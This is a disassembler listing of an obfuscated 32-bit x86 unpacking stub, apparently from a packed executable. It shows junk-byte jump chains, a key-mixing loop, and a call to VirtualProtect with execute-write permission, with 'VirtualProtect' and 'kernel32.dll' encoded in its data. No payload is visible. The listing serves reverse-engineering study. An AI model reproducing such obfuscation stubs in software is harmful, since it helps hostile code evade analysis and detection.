		jmp	short loc_468F39
; ---------------------------------------------------------------------------
		db 7Fh
; ---------------------------------------------------------------------------


loc_468F39:				; CODE XREF: DMN1:00468F36j
		jmp	short loc_468F46
; ---------------------------------------------------------------------------
		db 42h
		dd 2F804ED1h, 0BA8DD525h
		db 79h,	18h
; ---------------------------------------------------------------------------


loc_468F46:				; CODE XREF: DMN1:loc_468F39j
		jmp	short loc_468F5D
; ---------------------------------------------------------------------------
		add	cl, ah
		popa


loc_468F4B:				; CODE XREF: DMN1:00468ED5j
		cmc
		or	ebx, [bx+di]
		sbb	ds:0B102626Bh, bl
		push	edi
		cdq
		sub	edx, [ecx]
		adc	[eax-0Fh], al
; ---------------------------------------------------------------------------
		db 82h
; ---------------------------------------------------------------------------


loc_468F5D:				; CODE XREF: DMN1:loc_468F46j
		jmp	short loc_468F62
; ---------------------------------------------------------------------------
		db 84h
		db 0DAh, 15h
; ---------------------------------------------------------------------------


loc_468F62:				; CODE XREF: DMN1:loc_468F5Dj
		jmp	short loc_468F6E
; ---------------------------------------------------------------------------
		dd 0FA42230Dh, 64B9FEFBh
; ---------------------------------------------------------------------------
		adc	ecx, esp


loc_468F6E:				; CODE XREF: DMN1:loc_468F62j
		jmp	short loc_468F8F
; ---------------------------------------------------------------------------
		dd 0BE985F94h, 0B29F3132h, 2313869Eh, 52DD0C1Bh, 39483E61h
		dd 35E4A448h, 7BCFA9B5h
		db 14h,	7Ah, 8Dh
; ---------------------------------------------------------------------------


loc_468F8F:				; CODE XREF: DMN1:loc_468F6Ej
		jmp	short loc_468F97
; ---------------------------------------------------------------------------
		db 0ABh, 0DFh, 0B1h
; ---------------------------------------------------------------------------
		cmc
		xchg	eax, esp
		xchg	eax, edx


loc_468F97:				; CODE XREF: DMN1:loc_468F8Fj
		jmp	short loc_468FA6
; ---------------------------------------------------------------------------
		db 45h,	0Dh, 0Ch
		dd 11B0AE8Bh, 0FBA01B39h
; ---------------------------------------------------------------------------
		xchg	eax, esp
		push	ecx


loc_468FA6:				; CODE XREF: DMN1:loc_468F97j
		jmp	short loc_468FB3
; ---------------------------------------------------------------------------
		dd 63C37598h, 6E61B8D8h
		db 8Eh,	4Bh, 0ACh
; ---------------------------------------------------------------------------


loc_468FB3:				; CODE XREF: DMN1:loc_468FA6j
		jmp	short loc_468FB6
; ---------------------------------------------------------------------------
		db 0D8h
; ---------------------------------------------------------------------------


loc_468FB6:				; CODE XREF: DMN1:loc_468FB3j
		mov	ebx, esi
		jmp	short loc_468FC7
; ---------------------------------------------------------------------------
		cld
		and	[edi], esp
		sub	bl, [edx]
		jmp	dword ptr ds:0FEEFA03Ch
; ---------------------------------------------------------------------------
		db 5Ch,	0D0h
; ---------------------------------------------------------------------------


loc_468FC7:				; CODE XREF: DMN1:00468FB8j
		jmp	short loc_468FE3
; ---------------------------------------------------------------------------
		xchg	eax, ecx
		inc	ecx
		and	esi, [ebp-7BF6AF6h]
		mov	ebx, 18C0453Eh
		pop	esi
		retf
; ---------------------------------------------------------------------------
		dd 0DAF42BB7h, 993B5AAEh
		db 0E2h, 31h, 0B8h
; ---------------------------------------------------------------------------


loc_468FE3:				; CODE XREF: DMN1:loc_468FC7j
		add	ebx, ebp
		jmp	short loc_468FF0
; ---------------------------------------------------------------------------
		db 43h
		dd 40C5463Ah, 93C53685h
; ---------------------------------------------------------------------------


loc_468FF0:				; CODE XREF: DMN1:00468FE5j
		dec	edx
		jmp	short $+2
		jmp	short loc_46900B
; ---------------------------------------------------------------------------
		db 0F1h, 25h, 0BFh
		dd 0DF3D6040h, 4AAA7EF5h, 9F11073Ah, 0AAE05E93h
		db 8Bh,	0ABh, 85h
; ---------------------------------------------------------------------------


loc_46900B:				; CODE XREF: DMN1:00468FF3j
		xchg	esi, esp


loc_46900D:				; CODE XREF: DMN1:0046906Aj
		mov	eax, [ebx]
		jmp	short loc_469020
; ---------------------------------------------------------------------------
		pop	ss
		and	eax, 0D10EBF09h
		jbe	short near ptr loc_469019+4


loc_469019:				; CODE XREF: DMN1:00469017j
		mov	ebp, 2F75C057h
		adc	eax, esp


loc_469020:				; CODE XREF: DMN1:0046900Fj
		jmp	short loc_46902F
; ---------------------------------------------------------------------------
		dw 79ADh
		dd 518F1698h, 5669D3DCh
; ---------------------------------------------------------------------------
		or	ah, [edx-7Bh]


loc_46902F:				; CODE XREF: DMN1:loc_469020j
		jmp	short loc_469049
; ---------------------------------------------------------------------------
		db 0DDh, 81h, 4Ah
		dd 86791D3Eh, 0AE5045A0h, 51DD77E7h, 9FC1D081h,	0EF9D51A8h
		db 79h
; ---------------------------------------------------------------------------


loc_469049:				; CODE XREF: DMN1:loc_46902Fj
		xchg	eax, edx
		jmp	short loc_46905C
; ---------------------------------------------------------------------------
		db 0DCh, 55h, 2Dh
		dd 0A31293E1h, 0D8D4ADF5h, 0F13F8578h
; ---------------------------------------------------------------------------


loc_46905C:				; CODE XREF: DMN1:0046904Bj
		xor	edx, [edi]
		jmp	short loc_46906C
; ---------------------------------------------------------------------------
		mov	bl, 2Eh
		push	es
		add	bh, [eax-3A442E81h]
		lodsb
		jno	short loc_46900D


loc_46906C:				; CODE XREF: DMN1:0046905Ej
		jmp	short loc_469070
; ---------------------------------------------------------------------------
		dw 4ABDh
; ---------------------------------------------------------------------------


loc_469070:				; CODE XREF: DMN1:loc_46906Cj
		xchg	edx, [edi]
		jmp	short $+2
		jmp	short loc_469080
; ---------------------------------------------------------------------------
		dw 9372h
		dd 0F6178C7Eh, 46874578h
; ---------------------------------------------------------------------------


loc_469080:				; CODE XREF: DMN1:00469074j
		jmp	short loc_469099
; ---------------------------------------------------------------------------
		xchg	eax, edx
		retn	2EB6h
; ---------------------------------------------------------------------------
		dw 6D8Ch
		dd 2E27813Dh, 4AE8094Fh, 0BCAE60F8h, 6F0B51CBh
		db 0Fh
; ---------------------------------------------------------------------------


loc_469099:				; CODE XREF: DMN1:loc_469080j
		jmp	short loc_4690A7
; ---------------------------------------------------------------------------
		db 44h
; ---------------------------------------------------------------------------
		cmp	eax, 8F2AB8A0h
		das
		push	esp
		scasb
		sar	byte ptr [ebp-33h], 1


loc_4690A7:				; CODE XREF: DMN1:loc_469099j
		jmp	short loc_4690AA
; ---------------------------------------------------------------------------
		cmpsd


loc_4690AA:				; CODE XREF: DMN1:loc_4690A7j
		test	ebx, 0D87095D3h
		xchg	ebx, esi
		xchg	esi, esp
		jmp	short loc_4690CA
; ---------------------------------------------------------------------------
		dw 0D212h
		dd 0D8F27BD5h, 0C1ABABDFh, 0F319A2DDh, 66CB10ACh
		db 1Eh,	14h
; ---------------------------------------------------------------------------


loc_4690CA:				; CODE XREF: DMN1:004690B4j
		jmp	short loc_4690DB
; ---------------------------------------------------------------------------
		dd 295FE5EFh, 91B67FC5h, 9246B1A6h
		db 0BAh, 0E7h, 50h
; ---------------------------------------------------------------------------


loc_4690DB:				; CODE XREF: DMN1:loc_4690CAj
		clc
		xchg	esp, ebx
		sub	edx, 0BD1622h
		jmp	short loc_4690F0
; ---------------------------------------------------------------------------
		dw 5B75h
		dd 0E7AF5956h, 5D991206h
; ---------------------------------------------------------------------------


loc_4690F0:				; CODE XREF: DMN1:004690E4j
		jmp	short loc_469111
; ---------------------------------------------------------------------------
		dw 4161h
		dd 0AA341223h, 5C8BA3F7h, 0E97432B2h, 61C558D1h, 0DDE1D5BAh
		dd 4F3AF25h, 0F7BEBCE1h
		db 9
; ---------------------------------------------------------------------------


loc_469111:				; CODE XREF: DMN1:loc_4690F0j
		xchg	ebx, ebp
		inc	ebp
		jmp	short loc_469117
; ---------------------------------------------------------------------------
		daa


loc_469117:				; CODE XREF: DMN1:00469114j
		jmp	short loc_469130
; ---------------------------------------------------------------------------
		db 1Eh,	7Fh, 0C0h
		dd 778E0D34h, 0C823E697h, 0E2C505FDh, 660B404Fh, 0F7045086h
; ---------------------------------------------------------------------------


loc_469130:				; CODE XREF: DMN1:loc_469117j
		jmp	short loc_469141
; ---------------------------------------------------------------------------
		dw 9C56h
		dd 8AB746FBh, 0F09F2C33h, 87BD755Ch
		db 29h
; ---------------------------------------------------------------------------


loc_469141:				; CODE XREF: DMN1:loc_469130j
		xchg	ebp, edx
		stc
		rol	eax, cl
		rol	ebp, 1
		jmp	short loc_46914B
; ---------------------------------------------------------------------------
		push	ebx


loc_46914B:				; CODE XREF: DMN1:00469148j
		jmp	short loc_469169
; ---------------------------------------------------------------------------
		db 2Dh,	40h, 42h
; ---------------------------------------------------------------------------
		pop	eax
		and	cl, [edi-73D038DAh]
		jmp	fword ptr [edi]
; ---------------------------------------------------------------------------
		db 0B5h, 1Ch, 20h
		dd 50A973E4h, 1AE7658Ah, 463F38Fh
		db 0F0h
; ---------------------------------------------------------------------------


loc_469169:				; CODE XREF: DMN1:loc_46914Bj
		jmp	short loc_469185
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dd 8076969Ah, 281951E0h, 26A4E0B1h, 0F6D59DEh, 43EF7584h
		dd 0EFFA2C12h
; ---------------------------------------------------------------------------
		pushf


loc_469185:				; CODE XREF: DMN1:loc_469169j
		xchg	ebp, [edi]
		neg	eax
		xor	edx, 0CDD9CE8Ch
		jmp	short loc_4691A3
; ---------------------------------------------------------------------------
		db 44h,	0E4h, 69h
		dd 265EC4B6h, 0F9D87618h, 315FDAF5h
		db 62h,	35h, 6Bh
; ---------------------------------------------------------------------------


loc_4691A3:				; CODE XREF: DMN1:0046918Fj
		jmp	short loc_4691B0
; ---------------------------------------------------------------------------
		db 44h,	82h, 68h
		dd 79814BAFh, 0A8AE7355h
; ---------------------------------------------------------------------------


loc_4691B0:				; CODE XREF: DMN1:loc_4691A3j
		cmc
		jmp	short loc_4691D0
; ---------------------------------------------------------------------------
		db 87h
		dd 0A509C8E8h, 893220E8h, 0A70BAA5h, 9EC0611Ah,	8FE8861Ch
		dd 0B0801B4Dh, 0DA20C222h
; ---------------------------------------------------------------------------


loc_4691D0:				; CODE XREF: DMN1:004691B1j
		stc
		jmp	short loc_4691D4
; ---------------------------------------------------------------------------
		db 3Ch
; ---------------------------------------------------------------------------


loc_4691D4:				; CODE XREF: DMN1:004691D1j
		cld
		jmp	short loc_4691DB
; ---------------------------------------------------------------------------
		db 9Ah
		db 7Bh,	87h, 17h
; ---------------------------------------------------------------------------


loc_4691DB:				; CODE XREF: DMN1:004691D5j
		xchg	esi, edx
		xchg	esp, esp
		mov	eax, edx
		test	ecx, 208F99E2h
		jmp	short loc_469204
; ---------------------------------------------------------------------------
		db 0FAh, 0DAh, 0E5h
		dd 42133EAh, 30F20F1Eh,	7D60AB92h, 0FC4E7D10h, 5E1E40ABh
		dd 0DD9BD56Ah
; ---------------------------------------------------------------------------


loc_469204:				; CODE XREF: DMN1:004691E7j
		jmp	short loc_46920F
; ---------------------------------------------------------------------------
		dw 44CDh
		dd 39534E8Eh
		db 7, 2Fh, 0D3h
; ---------------------------------------------------------------------------


loc_46920F:				; CODE XREF: DMN1:loc_469204j
		jmp	short loc_46922C
; ---------------------------------------------------------------------------
		db 0CDh, 0D5h, 0
		dd 1E4112E6h, 496DE1B2h, 0C1D6809Bh, 62E1B047h,	38B0BBC5h
		dd 7164ECBDh
; ---------------------------------------------------------------------------


loc_46922C:				; CODE XREF: DMN1:loc_46920Fj
		jmp	short loc_469239
; ---------------------------------------------------------------------------
		dw 8608h
		dd 28513B91h, 0B8850623h
; ---------------------------------------------------------------------------
		push	es


loc_469239:				; CODE XREF: DMN1:loc_46922Cj
		jmp	short loc_469250
; ---------------------------------------------------------------------------
		db 0ABh
		dd 0C0C39785h, 312E3ADCh, 4C4DD7CEh, 9FE3AC13h,	0B99CB35h
; ---------------------------------------------------------------------------


loc_469250:				; CODE XREF: DMN1:loc_469239j
		jmp	short loc_469256
; ---------------------------------------------------------------------------
		dw 0CDB2h
		db 16h,	8Fh
; ---------------------------------------------------------------------------


loc_469256:				; CODE XREF: DMN1:loc_469250j
		jmp	short loc_469264
; ---------------------------------------------------------------------------
		dd 1E64EFC9h, 74FC313h,	0C504E2F1h
; ---------------------------------------------------------------------------


loc_469264:				; CODE XREF: DMN1:loc_469256j
		jmp	short loc_46926D
; ---------------------------------------------------------------------------
		dw 8FF4h
		dd 9B38F03Ch
; ---------------------------------------------------------------------------
		dec	edx


loc_46926D:				; CODE XREF: DMN1:loc_469264j
		jmp	short loc_46927B
; ---------------------------------------------------------------------------
		aad	52h
		push	cs
		mov	ebp, 20AA2B2Ch
		xchg	eax, ebx
		mov	bh, 0B7h
		push	ss


loc_46927B:				; CODE XREF: DMN1:loc_46926Dj
		jmp	short loc_46929B
; ---------------------------------------------------------------------------
		db 7Bh,	64h, 0A4h
		dd 0F890E781h, 874A7519h, 30E71321h, 2F3F488h, 0F4C27A4Bh
		dd 72B2128Dh
		db 91h,	13h, 0E5h
; ---------------------------------------------------------------------------


loc_46929B:				; CODE XREF: DMN1:loc_46927Bj
		add	eax, ebx
		jmp	short loc_4692A7
; ---------------------------------------------------------------------------
		cmc
		pop	ss
		retn
; ---------------------------------------------------------------------------
		dw 0CCF8h
		db 0A8h, 0A5h, 3Eh
; ---------------------------------------------------------------------------


loc_4692A7:				; CODE XREF: DMN1:0046929Dj
		jmp	short loc_4692BA
; ---------------------------------------------------------------------------
		db 0CEh, 42h, 0FAh
		dd 0D46D927Bh, 28DDF602h, 7EB05A90h
		db 7Fh,	0D4h
; ---------------------------------------------------------------------------


loc_4692BA:				; CODE XREF: DMN1:loc_4692A7j
		xchg	ecx, ebx
		jmp	short loc_4692D6
; ---------------------------------------------------------------------------
		dw 27B5h
		dd 2FB98906h, 0B4A83B72h, 0EDB61503h, 14AC0CE2h, 0E83CF8E8h
		db 0A4h, 0D5h
; ---------------------------------------------------------------------------


loc_4692D6:				; CODE XREF: DMN1:004692BCj
		xor	esi, 3BCBA576h
		xchg	eax, ebx
		xchg	ecx, eax
		jmp	short loc_469301
; ---------------------------------------------------------------------------
		dw 460Eh
		dd 0DEEE5277h, 7B80ABC8h, 0CF5F67ABh, 5B55C415h, 4C71F3EAh
		dd 0FF510F2Dh, 692DC626h
; ---------------------------------------------------------------------------
		cli


loc_469301:				; CODE XREF: DMN1:004692E0j
		mov	[ebx], ebp
		jmp	short loc_469324
; ---------------------------------------------------------------------------
		db 0E9h, 0Fh, 0C2h
; ---------------------------------------------------------------------------
		adc	[ecx+60h], ah
		cmpsb
		mov	edi, 4764FBF9h
		mov	cl, 0F7h
		jmp	dword ptr ds:13B37470h
; ---------------------------------------------------------------------------
		db 0F2h, 0DAh, 0F7h
; ---------------------------------------------------------------------------
		clc
		lea	eax, ds:761B6EA5h[ebp*4]


loc_469324:				; CODE XREF: DMN1:00469303j
		jmp	short loc_46932B
; ---------------------------------------------------------------------------
		dw 321Bh
		db 0B3h, 41h, 5
; ---------------------------------------------------------------------------


loc_46932B:				; CODE XREF: DMN1:loc_469324j
		jmp	short loc_469340
; ---------------------------------------------------------------------------
		db 8Ah,	31h, 0F5h
		dd 8B827DACh, 0ABA8D3A7h, 0AB72843Ah, 0C6475707h
; ---------------------------------------------------------------------------


loc_469340:				; CODE XREF: DMN1:loc_46932Bj
		xchg	ecx, ebp
		jmp	short loc_469363
; ---------------------------------------------------------------------------
		dd 68174EC1h, 0F4957A7Ch, 4E12F076h, 882D358Dh,	0B7AC4108h
		dd 75759D45h, 94574B9Dh
		db 88h,	5Ch, 0E7h
; ---------------------------------------------------------------------------


loc_469363:				; CODE XREF: DMN1:00469342j
		xchg	ecx, esp
		xchg	esi, esi
		jmp	short loc_469380
; ---------------------------------------------------------------------------
		db 15h,	55h, 44h
		dd 5A782FD6h, 8889A9FEh, 0C54AC105h, 430E1E1Ch,	0B3656CFFh
; ---------------------------------------------------------------------------


loc_469380:				; CODE XREF: DMN1:00469367j
		jmp	short loc_46939E
; ---------------------------------------------------------------------------
		dw 7D61h
		dd 95A9E299h, 15CFEF07h, 0CA47485Bh, 0A599EA9Ah, 0AF80A2BFh
		dd 1807CFC1h
		db 52h,	0Bh
; ---------------------------------------------------------------------------


loc_46939E:				; CODE XREF: DMN1:loc_469380j
		cmc
		add	edx, 2
		jmp	short loc_4693AF
; ---------------------------------------------------------------------------
		dd 79E989B2h, 35E13084h
		db 36h,	2Fh, 5Eh
; ---------------------------------------------------------------------------


loc_4693AF:				; CODE XREF: DMN1:004693A2j
		jmp	short loc_4693C1
; ---------------------------------------------------------------------------
		db 45h,	0A7h, 85h
		dd 33122B4Fh, 1A0C94ACh, 89EEC6C1h
		db 90h
; ---------------------------------------------------------------------------


loc_4693C1:				; CODE XREF: DMN1:loc_4693AFj
		clc
		jmp	short loc_4693D2
; ---------------------------------------------------------------------------
		dd 29BED904h, 3EBCC011h, 8B982DDDh
		db 4Ch,	6Bh
; ---------------------------------------------------------------------------


loc_4693D2:				; CODE XREF: DMN1:004693C2j
		jmp	short loc_4693E3
; ---------------------------------------------------------------------------
		db 0CCh
		db 71h,	94h, 0B4h
		dd 0F4E538D6h, 9FDBDBB0h
		db 0EDh, 9Ch, 98h
; ---------------------------------------------------------------------------


loc_4693E3:				; CODE XREF: DMN1:loc_4693D2j
		xchg	eax, edi
		jmp	short loc_4693EA
; ---------------------------------------------------------------------------
		add	esi, [esi-70h]


loc_4693EA:				; CODE XREF: DMN1:004693E5j
		jmp	short loc_4693F1
; ---------------------------------------------------------------------------
		dd 0BF8CE75Dh
; ---------------------------------------------------------------------------
		leave


loc_4693F1:				; CODE XREF: DMN1:loc_4693EAj
		add	edx, 1
		inc	ebp
		stc
		jmp	short loc_4693FD
; ---------------------------------------------------------------------------
		movsd
		ror	byte ptr [esi-30h], 1
		push	esp


loc_4693FD:				; CODE XREF: DMN1:004693F6j
		xchg	edi, esp
		clc
		xchg	edi, ebp
		xchg	ecx, eax
		jmp	short loc_469416
; ---------------------------------------------------------------------------
		dw 5664h
		dd 90587E7Fh, 0AC1E0B69h, 55099EFFh
		db 0A9h, 7Ch
; ---------------------------------------------------------------------------


loc_469416:				; CODE XREF: DMN1:00469404j
		xchg	esi, ebx
		jmp	short loc_46941E
; ---------------------------------------------------------------------------
		inc	edi
		ficom	word ptr [ebp-7Ah]


loc_46941E:				; CODE XREF: DMN1:00469418j
		stc
		jmp	short loc_46943F
; ---------------------------------------------------------------------------
		db 57h,	19h, 9
		dd 15978AEh, 0AD020C6Ah, 2FC98CD2h, 0B87DF7DAh,	1DDD0E5Eh
		dd 0BA2D28E7h
		db 48h,	0F7h, 8
; ---------------------------------------------------------------------------


loc_46943F:				; CODE XREF: DMN1:0046941Fj
		not	ebp
		stc
		jmp	short loc_469455
; ---------------------------------------------------------------------------
		dd 0AC913A0h, 836FE091h, 0D4FA5E8Bh, 0F95325C7h
		db 6Fh
; ---------------------------------------------------------------------------


loc_469455:				; CODE XREF: DMN1:00469442j
		inc	edx
		jmp	short loc_469467
; ---------------------------------------------------------------------------
		add	ah, ch
		enter	292Dh, 80h
		fnstcw	word ptr [edi+0B29ADA4h]
		xor	edi, edi
		dec	esi


loc_469467:				; CODE XREF: DMN1:00469456j
		xchg	edx, ebx
		jmp	short loc_469477
; ---------------------------------------------------------------------------
		dec	esi
		retf	1204h
; ---------------------------------------------------------------------------
		db 8Fh
; ---------------------------------------------------------------------------
		sub	al, 0E1h
		xor	eax, 0E168B66h


loc_469477:				; CODE XREF: DMN1:00469469j
		std
		bswap	edi
		jmp	short loc_46947E
; ---------------------------------------------------------------------------
		sbb	al, ch


loc_46947E:				; CODE XREF: DMN1:0046947Aj
		jmp	short loc_469488
; ---------------------------------------------------------------------------
		dd 0E67EEB6Bh, 0E239E0B4h
; ---------------------------------------------------------------------------


loc_469488:				; CODE XREF: DMN1:loc_46947Ej
		jmp	short loc_46949D
; ---------------------------------------------------------------------------
		dw 7408h
		dd 5E3D12BEh, 0A9763EC6h, 775005BCh, 4947A676h
		db 0
; ---------------------------------------------------------------------------


loc_46949D:				; CODE XREF: DMN1:loc_469488j
		jmp	short loc_4694AA
; ---------------------------------------------------------------------------
		db 19h
		dd 0AA996220h, 57F2961Ch
		db 63h,	0C5h
; ---------------------------------------------------------------------------


loc_4694AA:				; CODE XREF: DMN1:loc_46949Dj
		xchg	eax, ebp
		jmp	short loc_4694C3
; ---------------------------------------------------------------------------
		dw 0C16Dh
		dd 69F872D1h, 3B9F1170h, 0D473348Eh, 0D1C9CE63h
		db 11h,	0E8h, 0E9h
; ---------------------------------------------------------------------------


loc_4694C3:				; CODE XREF: DMN1:004694ACj
		xchg	esi, ebp
		jmp	short loc_4694D2
; ---------------------------------------------------------------------------
		db 0DDh
		dd 320E4C80h, 0E2B2A455h
		db 13h,	0B9h
; ---------------------------------------------------------------------------


loc_4694D2:				; CODE XREF: DMN1:004694C5j
		bswap	eax
		dec	esi
		jz	short loc_46954E
		xchg	ebx, ebx
		xchg	esi, ebx
		neg	eax
		jmp	short loc_4694F6
; ---------------------------------------------------------------------------
		db 0C0h
		dd 42612A8Ah, 6C69CC3Eh, 7049137Ah, 0D9BA225Ah,	0B91F4B88h
; ---------------------------------------------------------------------------
		aaa
		movsd


loc_4694F6:				; CODE XREF: DMN1:004694DDj
		xchg	edi, ebx
		std
		jmp	short loc_4694FE
; ---------------------------------------------------------------------------
		db 3Fh
		db 0C8h, 3Bh
; ---------------------------------------------------------------------------


loc_4694FE:				; CODE XREF: DMN1:004694F9j
		jmp	short loc_469501
; ---------------------------------------------------------------------------
		push	esi


loc_469501:				; CODE XREF: DMN1:loc_4694FEj
		jmp	short loc_469506
; ---------------------------------------------------------------------------
		db 0D1h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_469506:				; CODE XREF: DMN1:loc_469501j
		xchg	ebp, esp
		jmp	short loc_46950C
; ---------------------------------------------------------------------------
		dw 63F4h
; ---------------------------------------------------------------------------


loc_46950C:				; CODE XREF: DMN1:00469508j
		jmp	short loc_469526
; ---------------------------------------------------------------------------
		dw 2834h
		dd 276772Bh, 12A5D1B8h,	86F733ACh, 0A626F13Fh, 0C7B5A4E1h
; ---------------------------------------------------------------------------
		icebp
		pop	ebx


loc_469526:				; CODE XREF: DMN1:loc_46950Cj
		jmp	short $+2
		jmp	short loc_469547
; ---------------------------------------------------------------------------
		dw 91B3h
		dd 4055BED2h, 28708149h, 0D68F9313h, 0F20BF7B3h, 38E3673Eh
		dd 612EBBDDh
		db 6Dh,	5Bh, 0B9h
; ---------------------------------------------------------------------------


loc_469547:				; CODE XREF: DMN1:00469528j
		xchg	esp, ecx
		jmp	loc_468F1E
; ---------------------------------------------------------------------------


loc_46954E:				; CODE XREF: DMN1:004694D5j
		xchg	ebp, esp
		xchg	esp, ecx
		bswap	edx
		jmp	short loc_469561
; ---------------------------------------------------------------------------
		dw 0BF0Bh
; ---------------------------------------------------------------------------
		inc	ebp
		cmp	byte ptr ss:[edi+509494B1h], 0BFh


loc_469561:				; CODE XREF: DMN1:00469554j
		jmp	short loc_469582
; ---------------------------------------------------------------------------
		db 75h
		dd 0E4C36340h, 0B685A14Ch, 56AA4EA0h, 585FB15Ah, 0B1987F0Fh
		dd 57797A28h, 0B8984CEDh
; ---------------------------------------------------------------------------
		push	dx


loc_469582:				; CODE XREF: DMN1:loc_469561j
		inc	edx
		cld
		jmp	short loc_469589
; ---------------------------------------------------------------------------
		pop	edi
		push	ebp
		daa


loc_469589:				; CODE XREF: DMN1:00469584j
		jmp	short loc_4695A4
; ---------------------------------------------------------------------------
		db 7
		dd 92DE62EAh, 8CB61E15h, 62FCC186h, 0DBCDFA00h,	9C4FEC12h
		dd 7C916727h
; ---------------------------------------------------------------------------


loc_4695A4:				; CODE XREF: DMN1:loc_469589j
		jmp	short loc_4695B1
; ---------------------------------------------------------------------------
		dw 56C0h
		dd 8FDE2A34h, 7D3ECFE2h
		db 80h
; ---------------------------------------------------------------------------


loc_4695B1:				; CODE XREF: DMN1:loc_4695A4j
		jmp	short loc_4695D0
; ---------------------------------------------------------------------------
		db 0AAh
		dd 2D6A3DC1h, 4FC7B2CEh, 37DA62A1h, 0C6BA0144h,	78312B59h
		dd 0B5757CF0h, 7815F5B1h
; ---------------------------------------------------------------------------


loc_4695D0:				; CODE XREF: DMN1:loc_4695B1j
		jmp	short loc_4695F0
; ---------------------------------------------------------------------------
		dw 4C7Ch
		dd 0AC3D7E58h, 862A15F6h, 17629A97h, 0B95FB767h, 0D9482970h
		dd 19EE3FABh, 0DF93ACF7h
; ---------------------------------------------------------------------------


loc_4695F0:				; CODE XREF: DMN1:loc_4695D0j
		jmp	short loc_4695F9
; ---------------------------------------------------------------------------
		dw 1416h
		dd 99B09D5Eh
		db 0Dh
; ---------------------------------------------------------------------------


loc_4695F9:				; CODE XREF: DMN1:loc_4695F0j
		cld
		jmp	short loc_469606
; ---------------------------------------------------------------------------
		dd 0CED36A2Ch, 6290D2E1h
		db 0D9h, 5Bh
; ---------------------------------------------------------------------------


loc_469606:				; CODE XREF: DMN1:004695FAj
		pop	edx
		add	edx, 0DE8EBF51h
		jmp	short loc_46961A
; ---------------------------------------------------------------------------
		db 6
		dd 1716327h, 46CA8F03h
; ---------------------------------------------------------------------------
		fstp	dword ptr [esi]


loc_46961A:				; CODE XREF: DMN1:0046960Dj
		jmp	short loc_46961D
; ---------------------------------------------------------------------------
		cmpsd


loc_46961D:				; CODE XREF: DMN1:loc_46961Aj
		jmp	short loc_46962C
; ---------------------------------------------------------------------------
		db 0B1h
		dd 78568533h, 54BB87A0h, 0B7C4F8B1h
; ---------------------------------------------------------------------------


loc_46962C:				; CODE XREF: DMN1:loc_46961Dj
		jmp	short loc_469640
; ---------------------------------------------------------------------------
		dw 53F2h
		dd 15ECA315h, 1913FFF0h, 8E94B464h, 21A6323Dh
; ---------------------------------------------------------------------------


loc_469640:				; CODE XREF: DMN1:loc_46962Cj
		jmp	short loc_469651
; ---------------------------------------------------------------------------
		dw 67Ch
		dd 0DD5CEFDAh, 0D20964D1h, 0D9CA007Ch
		db 7Fh
; ---------------------------------------------------------------------------


loc_469651:				; CODE XREF: DMN1:loc_469640j
		jmp	short loc_46966F
; ---------------------------------------------------------------------------
		db 4Eh
		dd 8FB5D8AFh, 8256BB99h, 7F9D9D31h, 0A2612F8Eh,	78C4D24Fh
		dd 0F84875B3h
; ---------------------------------------------------------------------------
		adc	al, [edi-35h]


loc_46966F:				; CODE XREF: DMN1:loc_469651j
		jmp	short loc_46968B
; ---------------------------------------------------------------------------
		db 45h,	49h, 1Fh
		dd 4CDA9552h, 7BEA73BAh, 314F8D2Ch, 0F88CB837h,	46638D3Bh
		db 0A0h, 49h, 7Fh
; ---------------------------------------------------------------------------


loc_46968B:				; CODE XREF: DMN1:loc_46966Fj
		jmp	short loc_4696AC
; ---------------------------------------------------------------------------
		db 8Fh,	88h, 62h
		db 0CCh
		db 8Fh,	24h, 51h
; ---------------------------------------------------------------------------
		mov	word ptr [ebp+2B1A7FAFh], cs
		sub	ebx, [ecx-7Fh]
		rol	byte ptr [ebx],	cl
		popf
		sub	al, 0FEh
		inc	edi
		jbe	short loc_4696B2
		dec	ecx
		mov	eax, 52EDC34Fh
		pop	edi


loc_4696AC:				; CODE XREF: DMN1:loc_46968Bj
		jmp	short $+2
		jmp	short loc_4696CE
; ---------------------------------------------------------------------------
		sbb	ch, [edi]


loc_4696B2:				; CODE XREF: DMN1:004696A3j
		cmp	bh, ds:4AC62282h
		enter	0FFFFE7A0h, 55h
		test	[esi-7Fh], dl
		loope	near ptr loc_46970C+2
		outsd
		rep aas
		test	ebp, eax
		sbb	[ebp-38A3AE7Dh], dh
		jnp	short near ptr loc_4696CE+1


loc_4696CE:				; CODE XREF: DMN1:004696AEj
					; DMN1:004696CCj
		jmp	short $+2
		jmp	loc_468902

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4696D5	proc near		; CODE XREF: DMN1:0046973Fp

var_24		= dword	ptr -24h
var_18		= byte ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	edx, 12583D39h
		xor	edx, 78EF8E70h
		mov	eax, 10000000h
		add	edx, eax
		add	esp, 10h
		mov	ebp, [esp-10h+arg_4]
		push	edx
		pusha
		push	0
		lea	edx, [esp+18h+var_18]
		push	edx
		push	40h
		push	16C12h
		add	[esp+24h+var_24], 1000h
		push	eax


loc_46970C:				; CODE XREF: DMN1:004696BFj
		add	eax, 1000h
		add	eax, 47023h
		call	dword ptr [eax]
		add	esp, 4
		popa
		retn
sub_4696D5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	ecx, 8000h
		mov	edx, 76502073h
		mov	eax, 513C6B17h


loc_46972F:				; CODE XREF: DMN1:0046973Cj
		add	eax, 3A1B0B60h
		xor	edx, eax
		add	dx, ax
		rol	edx, 7
		loop	loc_46972F
		push	eax
		call	sub_4696D5
		leave
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 5Eh dup(0)
		dd 1000000h, 69784500h,	6F725074h, 73736563h, 56000100h
		dd 75747269h, 72506C61h, 6365746Fh, 80000074h, 800E0004h
		dd 4, 656B0000h, 6C656E72h, 642E3233h, 6C6Ch, 0
		dd 0FF000000h, 2BFFFFFFh, 1F000480h, 480h, 5 dup(0)
		dd 10000470h, 25000000h, 3Ch, 4Eh dup(0)
		dd 0D5000000h, 2FB625BFh, 51369D62h, 0A1880285h, 6B0E3400h
		dd 0FC9007E1h, 8349D43Ch, 393D4004h, 32CACCE5h,	60DD6B6Ch
		dd 0C13F5CB3h, 0A53C65A7h, 2D208AE8h, 0EB7854A6h, 0DB59EBABh
